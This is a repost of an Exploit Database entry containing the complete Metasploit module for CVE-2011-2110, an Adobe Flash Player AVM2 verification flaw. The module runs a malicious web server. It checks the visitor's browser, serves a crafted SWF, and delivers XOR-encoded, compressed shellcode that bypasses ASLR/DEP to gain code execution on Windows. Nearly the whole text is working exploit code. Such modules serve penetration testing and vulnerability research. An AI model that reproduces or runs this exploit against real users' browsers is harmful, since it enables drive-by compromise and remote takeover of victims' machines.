Adobe Flash Player – AVM Verification Logic Array Indexing Code Execution (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2012-06-20
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/19295/

• ##
  # $Id$
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::HttpServer::HTML
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Adobe Flash Player AVM Verification Logic Array Indexing Code Execution',
  			'Description'=> %q{
  					This module exploits a vulnerability in Adobe Flash Player versions 10.3.181.23
  				and earlier. This issue is caused by a failure in the ActionScript3 AVM2 verification
  				logic. This results in unsafe JIT(Just-In-Time) code being executed. This is the same
  				vulnerability that was used for attacks against Korean based organizations.
  
  					Specifically, this issue occurs when indexing an array using an arbitrary value,
  				memory can be referenced and later executed. Taking advantage of this issue does not rely
  				on heap spraying as the vulnerability can also be used for information leakage.
  
  					Currently this exploit works for IE6, IE7, IE8, Firefox 10.2 and likely several
  				other browsers under multiple Windows platforms. This exploit bypasses ASLR/DEP and
  				is very reliable.
  				},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'mr_me <steventhomasseeley[at]gmail.com>', # msf exploit,
  					'Unknown'# malware version seen used in targeted attacks
  				],
  			'Version'=> '$Revision$',
  			'References' =>
  				[
  					['CVE', '2011-2110'],
  					['OSVDB', '48268'],
  					['URL', 'http://www.adobe.com/devnet/swf.html'],
  					['URL', 'http://www.adobe.com/support/security/bulletins/apsb11-18.html'],
  					['URL', 'http://www.accessroot.com/arteam/site/download.php?view.331'],
  					['URL', 'http://www.shadowserver.org/wiki/pmwiki.php/Calendar/20110617'],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  					'HTTP::compression'=> 'gzip',
  					'HTTP::chunked'=> true,
  					'InitialAutoRunScript' => 'migrate -f'
  				},
  			'Payload'=>
  				{
  					'Space' => 2000,
  					'BadChars'=> "\x00",
  					'DisableNops' => true
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Automatic', {}],
  				],
  			'DisclosureDate' => 'Jun 21 2012',
  			'DefaultTarget'=> 0))
  	end
  
  	def exploit
  		# src for the flash file: external/source/exploits/CVE-2011-2110/CVE-2011-2110.as
  		# full aslr/dep bypass using the info leak as per malware
  		path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-2110.swf" )
  		fd = File.open( path, "rb" )
  		@swf = fd.read(fd.stat.size)
  		fd.close
  		super
  	end
  
  	def check_dependencies
  		use_zlib
  	end
  
  	def get_target(agent)
  		#If the user is already specified by the user, we'll just use that
  		return target if target.name != 'Automatic'
  
  		if agent =~ /MSIE/
  			return targets[0]# ie 6/7/8 tested working
  		elsif agent =~ /Firefox/
  			return targets[0]# ff 10.2 tested working
  		else
  			return nil
  		end
  	end
  
  	def on_request_uri(cli, request)
  		agent = request.headers['User-Agent']
  		my_target = get_target(agent)
  
  		# Avoid the attack if the victim doesn't have the same setup we're targeting
  		if my_target.nil?
  			print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
  			send_not_found(cli)
  			return
  		end
  
  		xor_byte= 122
  		trigger = @swf
  		trigger_file = rand_text_alpha(rand(6)+3) + ".swf"
  		code = rand_text_alpha(rand(6)+3) + ".txt"
  
  		sc = Zlib::Deflate.deflate(payload.encoded)
  		shellcode = ""
  
  		sc.each_byte do | c |
  			shellcode << (xor_byte ^ c)
  		end
  
  		uri= ((datastore['SSL']) ? "https://" : "http://")
  		uri << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'])
  		uri << ":#{datastore['SRVPORT']}#{get_resource()}/#{code}"
  
  		bd_uri = Zlib::Deflate.deflate(uri)
  
  		uri = ""
  		bd_uri.each_byte do | c |
  			uri << (xor_byte ^ c)
  		end
  
  		bd_uri = uri.unpack("H*")[0]
  
  		obj_id = rand_text_alpha(rand(6)+3)
  
  		if request.uri.match(/\.swf/i)
  			print_status("Sending malicious swf")
  			send_response(cli, trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
  			return
  		end
  
  		if request.uri.match(/\.txt/i)
  			print_status("Sending payload")
  			send_response(cli, shellcode, { 'Content-Type' => 'text/plain' })
  			return
  		end
  
  		html =<<-EOS
  		<html>
  		<head>
  		</head>
  		<body>
  		<center>
  		<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
  		id="#{obj_id}" width="600" height="400"
  		codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
  		<param name="movie" value="#{get_resource}/#{trigger_file}?info=#{bd_uri}" />
  		<embed src="https://www.exploit-db.com/exploits/19295/#{get_resource}/#{trigger_file}?info=#{bd_uri}" quality="high"
  		width="320" height="300" name="#{obj_id}" align="middle"
  		allowNetworking="all"
  		type="application/x-shockwave-flash"
  		pluginspage="http://www.macromedia.com/go/getflashplayer">
  		</embed>
  		</object>
  		</center>
  		</body>
  		</html>
  		EOS
  
  		html = html.gsub(/^\t\t/, '')
  
  		print_status("Sending #{self.name} HTML")
  		send_response(cli, html, { 'Content-Type' => 'text/html' })
  	end
  end